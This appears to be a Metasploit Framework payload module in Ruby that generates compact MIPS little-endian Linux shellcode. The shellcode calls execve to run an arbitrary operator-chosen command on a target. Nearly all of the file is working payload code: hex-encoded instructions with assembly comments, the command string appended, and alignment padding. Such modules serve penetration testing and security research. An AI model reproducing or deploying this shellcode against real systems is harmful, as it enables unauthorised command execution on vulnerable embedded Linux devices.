metasploit-framework/modules/payloads/singles/linux/mipsle/exec.rb

83 lines
2.0 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
module MetasploitModule
CachedSize = 52
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Execute Command',
'Description' => %q{
A very small shellcode for executing commands.
This module is sometimes helpful for testing purposes as well as
on targets with extremely limited buffer space.
},
'Author' =>
[
'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload
'entropy@phiral.net' #original payload
],
'References' =>
[
['EDB', '17940']
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'Payload' =>
{
'Offsets' => {} ,
'Payload' => ''
})
)
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
end
#
# Returns the command string to use for execution
#
def command_string
return datastore['CMD'] || ''
end
def generate
shellcode =
"\x66\x06\x06\x24" + # li a2,1638
"\xff\xff\xd0\x04" + # bltzal a2,4100b4
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
"\x01\x10\xe4\x27" + # addiu a0,ra,4097
"\x1f\xf0\x84\x24" + # addiu a0,a0,-4065
"\xe8\xff\xa4\xaf" + # sw a0,-24(sp)
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
"\xe8\xff\xa5\x27" + # addiu a1,sp,-24
"\xab\x0f\x02\x24" + # li v0,4011
"\x0c\x01\x01\x01" # syscall 0x40404
#
# Constructs the payload
#
shellcode = shellcode + command_string + "\x00"
# we need to align our shellcode to 4 bytes
(shellcode = shellcode + "\x00") while shellcode.length%4 != 0
return super + shellcode
end
end